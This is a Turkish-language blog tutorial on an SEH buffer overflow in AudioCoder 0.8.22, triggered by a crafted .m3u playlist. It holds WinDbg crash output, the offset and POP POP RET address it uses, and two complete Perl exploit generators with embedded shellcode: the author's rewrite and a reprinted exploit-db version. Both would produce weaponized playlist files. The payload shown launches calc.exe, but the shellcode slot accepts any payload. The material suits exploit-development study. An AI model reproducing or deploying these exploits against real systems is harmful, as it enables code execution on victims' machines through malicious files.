21 Kasım 2013 Perşembe

AudioCoder 0.8.22 (.m3u) - SEH Buffer Overflow (Incelenmesi ve Tekrardan Kodlanması)

Selamlar,

Bugünkü yazımda yeni yayınlanmıs bir güvenlik zafiyeti (exploit) hakkında inceleme ve tekrardan yeni bir exploit olarak kodlanması konusunda acıklamalarda bulunacağım. Öncelikle pc ve sistemleri tehdit eden en büyük güvenlik acıklarının basında kullanmakta oldugumuz yazılımların yarattıgı tehlikeler gelmekte. Bu tehlikeler öyleki sizin elinizde olmadan gerceklesmektedir. Saldırganın hedef aldıgı sistemde calısan uygulamalar yerel veya uzak olabilir. Eğer yerel ise sosyal mühendislik methodları sayesinde sistem hakkında detaylı bilgi sahibi olabilir , eğer uzak ise nmap v.b araçlar ile karsı sistem hakkında acık olan portları kullanan yazılımlar hakkında bilgi sahibi olabilir. Genelde en tercih edilen dısarıdan belli portlar üzerinden iletişim kuran yazılımlardır çünkü uzaktan kod calıstırılmasına veya sistemin durdurulmasına imkan verirler. Yerel uygulamalar üzerindeki güvenlik acıkları ise yine sosyal mühendislik ile karsı sisteme belli iceriklerde dosya gondererek zafiyet iceren yazılım ile acılması ile ortaya cıkan tehditlerdir. Örnek verecek olursak adobe reader üzerinde güvenlik zafiyeti tespit eden bir saldırganın karsı sisteme sızabilmesi için aynı zafiyeti tasıyan bir versiyon üzerinde calısan bir bilgisayara email,anlık mesajlasma yazılımları v.b sistemler üzerinden tehdit iceren dosyasını göndermesi gerekmektedir. Bu yazımda Audiocoder 0.8.22 versiyonu üzerinde tespit edilmis M3U uzantılı bir güvenlik zafiyetini inceleyeceğim.

Öncelikle belirtmekte fayda görüyorum bu SEH Based bir güvenlik zafiyetidir. Yani Audiocoder yazılımını gelistiren gelistiriciler hafıza tasması (Buffer Overflow) güvenlik zafiyetine karsı ufak bir önlem almıslar fakat bu yeterli olmamıstır. Biz bu tip zafiyetlere SEH Based (Yapısal Hata İşleyici) adını vermekteyiz. Basitce örnekleyecek olursak.

C# ta program yazan bir kişinin bir verinin hatalı gelmesi durumunda programın kitlenip kapanmaması icin yazmıs oldugu Try , Catch , Finally bloklarını örnek gösterebiliriz.


Try {
String verioku = Console.ReadLine();
.
.
.
}
Catch (Exception ex) {
MessageBox.Show(ex.Message);
}

Örnek olarak ele aldığımız tehditle ilgili yazılmıs ve yayınlanmıs olan exploit ve zafiyet iceren uygulamayıda testleriniz için bulabileceğiniz linki veriyorum.

http://www.exploit-db.com/exploits/29309/

Burda exploit writerin yazmıs oldugu kod mevcut fakat bir kendi kodumuzu Buffer size ları daha efektif kullanarak tekrardan yazacagız.

Öncelikle programın hata vermesini sağlamak birinci önceliğimizi oluşturmakta. Bunun için hafıza tasması metodlarında kullandıgımız uzun string verileri zafiyet tasıyan uzantı icine yazarak denemelerde bulunabiliriz. Yalnız baslamadan belirtmekte fayda görüyorum sadece \x41 yani A harfi iceren stringler bazen programı crash etmemekte buda zafiyeti bulmayı zorlastırmaktadır. Bu gibi durumlarda birde \x90 NOP (No Operation) , \xCC (Break) , \x00 Null operatorlerini stringlerde denemenizi tavsiye etmekteyim.

Bu programda ben direk A harfi yerine \x90 stringi ile baslayacagım. Crash icin bir perl dosyası yaratıyoruz. Siz python veya baska iyi bildiğiniz programlama dilini kullanabilirsiniz. Örnek (NodeJS v.s).

my $file= "test.m3u";
my $eip = "http://" . ("\x90" x 700);

open($FILE,">$file");
print $FILE $eip;
close($FILE);
print "m3u dosyası yaratıldı\n";

Denemeleri WinDBG programı ile Windows XP SP3 bir makinada gerceklestireceğiz. WinDBG programı ile AudioCoder programını calıstırıyoruz.

Yarattıgımız 700 Bytelık veriyi load ettiğimizde programın crash oldugunu goruyoruz. Ve debugger cıktısında baktıgımızda Eip değerinin yani bir sonraki calıstırılacak kod blogu degerinin load ettiğimiz m3u dosyasının icerisinde yazmıs oldugumuz string olarak değiştiğini görmekteyiz.

First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=004b5f30 ebx=001eb168 ecx=0021a6e0 edx=00000023 esi=7e37f3c2 edi=004b5f30
eip=90909090 esp=0012e4fc ebp=0012e714 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
Missing image name, possible paged-out or corrupt data.

Stack degerini dump ettiğimizde bizim dokumanımızın stack'e yerlestiğini gormekteyiz.

0:000> d esp
0012e4fc  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0012e50c  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0012e51c  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0012e52c  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0012e53c  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0012e54c  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0012e55c  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0012e56c  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90





Burda yapamız gereken tam buffer i bulmaya calısmaktır. Bunun için pattern create ve offset toolları kullanabilirsiniz. Bu konuya burda değinmeyeceğim.

Şimdi WinDbg programına !exchain komutunu vererek SEH Chain zincirinin kırıldıgı yeri bulacağız.
 Çok uzun bir cıktı verecektir. Burda dikkat etmemiz gereken Chain in KERNEL32 üzerinde olmadıgı olmadıgı bir cıktı yakalamaktır. O cıktıyı yakaladıgımızda gercek Buffer Junk'ımızı tespit etmis olacagız.Suan aldıgımız !exchain cıktısı.

0012ffe0: *** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\kernel32.dll -
kernel32!ValidateLocale+2b0 (7c839ac0)
Invalid exception stack at ffffffff


Konuyu uzun uzadıya uzatmak istemiyorum. Bu yüzden exploit writerin buldugu size i deneyeceğiz.

my $file= "test.m3u";
my $eip = "http://" . ("\x90" x 757);

open($FILE,">$file");
print $FILE $eip;
close($FILE);
print "m3u dosyası yaratıldı\n";

Aldıgımız cıktılar.

First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=004b5f30 ebx=00193360 ecx=02663a20 edx=00000264 esi=7e37f3c2 edi=004b5f30
eip=90909090 esp=0012e4fc ebp=0012e714 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
Missing image name, possible paged-out or corrupt data.
90909090 ??              ???

 Ekran Görüntüsü Eklersek!





Dikkat edeceğiniz üzere !exchain komutuyla aldıgımız cıktı dogru buffer i bulamadıgımız KERNEL32 ffffff cıktısından farklı bir stack adresi icermekte. Buda dogru buffersize i yakaladıgımızı kanıtlamakta simdi yapmamız gereken sey SEH Based exploit icin gerekli formülümüzü tutturmak ve istediğimiz shellcode u sistem üzerinde calıstırmak.

FORMÜL:  JunkBuffer + NEXTSEH + POP+POP+RET + SHELLCODE

Junksize imizi bulugumuza göre simdi bulmamız gereken findjump yada baska bir arac kullanabilirsiniz ilk tercih program dll leri icinde olmalı cünkü yazdıgımız exploitin bütün isletim sistemi versiyonlarında calısmasını istiyoruz. Yoksa KERNEL32 v.b windows dll leri icinde arayacagız bu durumda yazmıs oldugumuz exploit sadece o windows sürümünde calısacaktır. Ben burda findjump kullanacağım.

Burda program klasorundeki tüm dll lerde bu islemi yapabilirsiniz. ben yine uzatmadan libiconv-2.dll üzerinde findjump ile edi registerini aratıyorum ve cıktı asagidaki gibi olmalı burda pop - edi , pop , ret olanlardan herhangi bir tanesini  SEH Handler olarak kullanabiliriz.

Benim aldığım değer : 0x66014D22

Bundan sonra Calculator exe shellcodu muzuda perl dosyamıza ekleyerek dogru NEXT seh değerini bulmamız gerekmekte. Buda gercek shellcode umuzu calıstırmak icin gerekli olan Atlama sayısını byte cinsinden bulmamız anlamına geliyor. Gercek exploit writer in 20 Byte Jump ettiğini görmekteyiz ve total buffer size olarak ta 5000 Byte kullandıgını görmekteyiz. Yazımın basında dediğim gibi biz burda inceliyoruz fakat yeni bir exploit kodu yazıyoruz. Ve benim yazmıs oldugum kodda 5000 Byte sınırı olmadıgı gibi NextSEH icin kullandıgım atlama degeri sadece 6 Byte olucak. Ve Exploitimizi Tamamlarsak.

$uitxt = "exp.m3u";

my $junk = "http://" . ("\x90" x 757); #Buffer Junk
my $nseh = "\xeb\x06\x90\x90"; # overwrite (6 bytes)
my $seh = pack('V',0x66014D22);
my $shellcode =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44".
"\x42\x30\x42\x50\x42\x30\x4b\x38\x45\x54\x4e\x33\x4b\x58\x4e\x37".
"\x45\x50\x4a\x47\x41\x30\x4f\x4e\x4b\x38\x4f\x44\x4a\x41\x4b\x48".
"\x4f\x35\x42\x32\x41\x50\x4b\x4e\x49\x34\x4b\x38\x46\x43\x4b\x48".
"\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x39\x4e\x4a\x46\x48\x42\x4c".
"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x43\x46\x35\x46\x42\x46\x30\x45\x47\x45\x4e\x4b\x48".
"\x4f\x35\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x58\x4e\x30\x4b\x54".
"\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x31\x4b\x48".
"\x41\x30\x4b\x4e\x49\x38\x4e\x45\x46\x52\x46\x30\x43\x4c\x41\x43".
"\x42\x4c\x46\x46\x4b\x48\x42\x54\x42\x53\x45\x38\x42\x4c\x4a\x57".
"\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x48\x42\x37\x4e\x51\x4d\x4a".
"\x4b\x58\x4a\x56\x4a\x50\x4b\x4e\x49\x30\x4b\x38\x42\x38\x42\x4b".
"\x42\x50\x42\x30\x42\x50\x4b\x58\x4a\x46\x4e\x43\x4f\x35\x41\x53".
"\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x37".
"\x42\x35\x4a\x46\x42\x4f\x4c\x48\x46\x50\x4f\x45\x4a\x46\x4a\x49".
"\x50\x4f\x4c\x58\x50\x30\x47\x45\x4f\x4f\x47\x4e\x43\x36\x41\x46".
"\x4e\x36\x43\x46\x42\x50\x5a";

open(myfile,">$uitxt") ;
print myfile $junk.$nseh.$seh.$shellcode;

Yarattıgımız Exploit dosyasını programda actıgımızda elde ettiğimiz ekran goruntusu!



 Orjinal Exploit Dosyası: Burdanda göreceğiniz üzere 20 byte atlamamız fazladan NOPs larımız yeni yazdıgımızda mevcut değil ayrıca 5000 Byte sınırınında olmadıgını pack ettiği adresin farklı adres oldugunu görmektesiniz.

my $buffsize = 5000; # sets buffer size for consistent sized payload
my $junk = "http://" . ("\x90" x 757); # offset to seh overwrite
my $nseh = "\xeb\x14\x90\x90"; # overwrite next seh with jmp instruction (20 bytes)
my $seh = pack('V',0x6601228e); #overwrite seh w/ pop edi pop ebp ret from AudioCoder\libiconv-2.dll
my $nops = "\x90" x 20;
# Calc.exe payload [size 227]
# msfpayload windows/exec CMD=calc.exe R |
# msfencode -e x86/shikata_ga_nai -c 1 -b '\x00\x0a\x0d\xff'
my $shell = "\xdb\xcf\xb8\x27\x17\x16\x1f\xd9\x74\x24\xf4\x5f\x2b\xc9" .
"\xb1\x33\x31\x47\x17\x83\xef\xfc\x03\x60\x04\xf4\xea\x92" .
"\xc2\x71\x14\x6a\x13\xe2\x9c\x8f\x22\x30\xfa\xc4\x17\x84" .
"\x88\x88\x9b\x6f\xdc\x38\x2f\x1d\xc9\x4f\x98\xa8\x2f\x7e" .
"\x19\x1d\xf0\x2c\xd9\x3f\x8c\x2e\x0e\xe0\xad\xe1\x43\xe1" .
"\xea\x1f\xab\xb3\xa3\x54\x1e\x24\xc7\x28\xa3\x45\x07\x27" .
"\x9b\x3d\x22\xf7\x68\xf4\x2d\x27\xc0\x83\x66\xdf\x6a\xcb" .
"\x56\xde\xbf\x0f\xaa\xa9\xb4\xe4\x58\x28\x1d\x35\xa0\x1b" .
"\x61\x9a\x9f\x94\x6c\xe2\xd8\x12\x8f\x91\x12\x61\x32\xa2" .
"\xe0\x18\xe8\x27\xf5\xba\x7b\x9f\xdd\x3b\xaf\x46\x95\x37" .
"\x04\x0c\xf1\x5b\x9b\xc1\x89\x67\x10\xe4\x5d\xee\x62\xc3" .
"\x79\xab\x31\x6a\xdb\x11\x97\x93\x3b\xfd\x48\x36\x37\xef" .
"\x9d\x40\x1a\x65\x63\xc0\x20\xc0\x63\xda\x2a\x62\x0c\xeb" .
"\xa1\xed\x4b\xf4\x63\x4a\xa3\xbe\x2e\xfa\x2c\x67\xbb\xbf" .
"\x30\x98\x11\x83\x4c\x1b\x90\x7b\xab\x03\xd1\x7e\xf7\x83" .
"\x09\xf2\x68\x66\x2e\xa1\x89\xa3\x4d\x24\x1a\x2f\xbc\xc3" .
"\x9a\xca\xc0";
# fill remainder of buffer with junk chars; not necessary but useful
# to check remaining usable space for different sized payloads
my $fill = "\x43" x ($buffsize - (length($junk)+length($nseh)+length($seh)+length($nops)+length($shell))); # fills remainder of buffer
my $buffer = $junk.$nseh.$seh.$nops.$shell.$fill;
# write the exploit buffer to file
my $file = "audiocoder.m3u";
open(FILE, ">$file");
print FILE $buffer;
close(FILE);
print "Exploit file created [" . $file . "]\n";
print "Buffer size: " . length($buffer) . "\n"
 Teknik bir makale oldu. Fakat Yerel güvenlik zafiyetlerine güzel bir örnek oldugunu düsünmekteyim... Herkese simdiden iyi çalışmalar!!!!




Hiç yorum yok:

Yorum Gönder